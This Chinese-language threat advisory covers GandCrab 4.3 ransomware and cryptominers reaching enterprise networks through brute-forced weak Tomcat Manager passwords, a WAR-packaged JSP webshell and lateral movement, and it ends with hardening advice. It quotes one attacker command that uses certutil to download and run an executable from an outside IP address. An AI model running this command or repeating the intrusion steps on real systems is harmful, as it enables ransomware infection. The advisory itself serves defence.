1、基本情况

　　专攻企业局域网的勒索病毒GandCrab版本号已升级到4.3。与以往不同的是，攻击者在已入侵网络同时释放挖矿木马和勒索病毒，针对高价值目标使用GandCrab勒索病毒，而一般目标则运行挖矿木马，以最大限度利用被入侵的目标网络非法牟利。

　　分析勒索病毒GandCrab 4.3的入侵通道，发现是黑客通过暴力破解Tomcat 服务器弱密码实现入侵。入侵成功后，从C2服务器下载勒索病毒和挖矿木马，恢复被GandCrab勒索病毒加密的文件需要付费499美元购买解密工具。

　　GandCrab 勒索病毒之前的版本一般通过钓鱼邮件和水坑攻击（选择最可能接近目标的网络部署陷阱文件，等待目标网络内的主机下载）。而现在，监测到越来越多的勒索病毒会首先从企业Web服务器下手，其中Tomcat被爆破弱密码攻击的情况近期有明显上升。

　　攻击一旦得手，黑客就会以此为跳板，继续向内网扩散。扩散的手法，往往是使用NSA攻击工具包或1433，3389端口暴力破解弱口令。之后，黑客会选择高价值目标下载运行勒索病毒，对一般系统，则植入挖矿木马获利。

　　2、攻击原理

　　Tomcat 服务器是一个免费的开放源代码的Web 应用服务器，属于轻量级应用服务器，在中小型系统和并发访问用户不是很多的场合下被普遍使用，Tomcat 5支持最新的Servlet 2.4 和JSP 2.0 规范。因为Tomcat 技术先进、性能稳定，而且免费，因而深受Java 爱好者的喜爱并得到了部分软件开发商的认可，成为目前比较流行的Web 应用服务器。

　　Tomcat提供了一个应用：manager，访问这个应用需要用户名和密码，用户名和密码存储在一个xml文件中。通过这个应用，辅助于Ftp，可以在远程通过Web部署和撤销应用。

　　通过此次受害者暴露在外网上的web日志发现。此次入侵通过Tomcat Manager后台弱口令进行爆破，爆破成功后，黑客上传了一个war包（jexws3.war），该war包中包含了一个Jsp webshell（jexws3.jsp），并且该webshell拥有最高权限。黑客通过Jsp webshell执行如下命令：

　　1.cmd.exe /c certutil.exe -urlcache -split -f http://85.192.92.5/info.exe %TEMP%/st.exe&cmd.exe /c %TEMP%:/st.exe  

　　

　　 

　　

　　

　　黑客入侵成功执行命令后会从85.192.92.5地址下载info.exe，该文件为使用NSIS打包的GandCrab v4.3版本的勒索病毒，GandCrab勒索病毒自4.0开始使用salsa20加密方式，有一定概率能解密，但依然难度很大。若无备份进行恢复，又无法解密，会给企业带来重大损失。

　　安装包运行后会拉起msiexec进程并向其中写入恶意代码执行，使用白进程执行恶意PayLoad的方式一定程度上也增加了勒索病毒的隐蔽性。

　　3、影响范围

　　Tomcat服务器

　　4、处置建议

　　1) 调整Tomcat后台管理设置：修改管理后台默认页面路径，设置白名单限制登录，修改弱口令密码，避免服务运行高权限。

　　2) 尽量关闭不必要的端口，如：445、135，139等，对3389端口可进行白名单配置，只允许白名单内的IP连接登陆。

　　3) 尽量关闭不必要的文件共享，如有需要，请使用ACL和强密码保护来限制访问权限，禁用对共享文件夹的匿名访问。

　　4) 采用高强度的密码，避免使用弱口令密码，并定期更换密码。建议服务器密码使用高强度且无规律密码，并且强制要求每个服务器使用不同密码管理。

　　5) 对没有互联需求的服务器/工作站内部访问设置相应控制，避免可连外网服务器被攻击后作为跳板进一步攻击其他服务器。

　　5、参考链接

　　http://www.freebuf.com/articles/es/184424.html